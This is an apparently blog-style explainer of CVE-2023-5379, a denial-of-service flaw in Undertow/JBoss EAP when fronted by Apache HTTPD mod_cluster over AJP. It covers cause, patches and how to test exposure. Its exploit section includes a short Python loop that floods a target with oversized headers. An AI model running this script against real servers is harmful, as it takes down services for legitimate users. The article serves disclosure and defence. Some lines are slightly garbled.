CVE-2023-5379 - Denial-of-Service in Undertow via Oversized AJP Headers

In September 2023, a vulnerability was disclosed in Undertow, the web server used by JBoss EAP (Enterprise Application Platform), which can be leveraged for Denial-of-Service (DoS) attacks. Identified as CVE-2023-5379, this flaw specifically affects environments using mod_cluster or mod_proxy_cluster in Apache HTTPD to route traffic to JBoss EAP over the AJP protocol.

This article explores how this bug works, why it's dangerous, and provides a simple example and practical advice for mitigation.

Why Does CVE-2023-5379 Matter?

When you deploy Java apps using JBoss EAP, you often set up an Apache HTTPD server in front of your application server. HTTPD uses the AJP protocol to forward requests to JBoss EAP. To manage request sizes, JBoss EAP allows you to configure a max-header-size in the ajp-listener so big or malformed requests get rejected.

However, the way Undertow (the default JBoss web server) handles over-sized headers is problematic. Instead of returning a clear AJP error response, it just closes the TCP connection. When mod_proxy_cluster or mod_cluster in HTTPD sees this abrupt closure, it flags the backend JBoss EAP instance as broken.

If a bad actor keeps sending requests with headers larger than max-header-size, it can repeatedly force HTTPD to mark JBoss EAP workers as down. Eventually, this stops all traffic to your app—a classic Denial-of-Service.

Client sends an HTTP request → Apache HTTPD.

2. HTTPD (via mod_proxy_cluster or mod_cluster) forwards the request as AJP to JBoss EAP/Undertow.

Simple Exploit Example

A malicious user can craft an HTTP POST or GET to HTTPD with headers exceeding the AJP max header size. This can be done with any script or a tool like curl. Here’s an example using Python:

import requests

# Change to your proxy address and endpoint
url = 'http://your-httpd-server/any/path';
headers = {
    "X-Oversized-Header": "A" * 16384  # 16KB header to exceed typical AJ
}

try:
    for i in range(100):
        resp = requests.get(url, headers=headers)
        print(f"Request {i} sent. Status: {resp.status_code}")
except Exception as e:
    print(f"Error sent: {e}")

Repeat this, and the HTTPD mod_cluster will start seeing backend "errors," leading to DoS for legitimate traffic.

Why Does This Happen?

The AJP protocol expects a valid response/packet for each request. If JBoss EAP closes the socket due to an over-limit header before sending any AJP response, HTTPD doesn’t get an answer and assumes a fatal backend problem.

Specifically, see this from the Red Hat public bug report:

> _"mod_proxy_cluster marks the JBoss EAP worker as an error error when the TCP connection is closed without receiving an AJP response. This allows a remote attacker to cause a DoS by making many oversized header requests."_

References

- Red Hat CVE Page: CVE-2023-5379
- Undertow GitHub
- JBoss Docs
- mod_cluster Documentation

Mitigation and Fixes

Patches:
Red Hat and the Undertow team have released patches that ensure Undertow returns a proper error response on header overflow, rather than simply closing the connection. This stops HTTPD from marking the backend as failed.

Workarounds:
- Increase max-header-size: Only if you can ensure clients will not abuse it. Not recommended as a primary mitigation!

How to Check if You’re Vulnerable

- If you’re using mod_cluster or mod_proxy_cluster with Undertow/JBoss EAP and accept AJP traffic, you may be affected.
- Test by sending an over-sized header. If the backend is shown as “error” in the HTTPD mod_cluster-manager UI, you are vulnerable.

Conclusion

CVE-2023-5379 is a subtle but dangerous flaw that can quickly take down important enterprise Java services by exploiting a protocol/connection mismatch between HTTPD and JBoss EAP. The fix is simple—upgrade Undertow/JBoss EAP, or ensure you have strong edge filtering and monitoring.

Always keep your application servers up to date and subscribe to vendor security advisories.

Have questions or want to see more examples? Check the links above or ask your IT security team!


*This article is original and provides a focused, simple-language explanation for the real-world impact of CVE-2023-5379. Stay safe!*

Timeline

Published on: 12/12/2023 22:15:22 UTC
Last modified on: 12/20/2023 18:39:19 UTC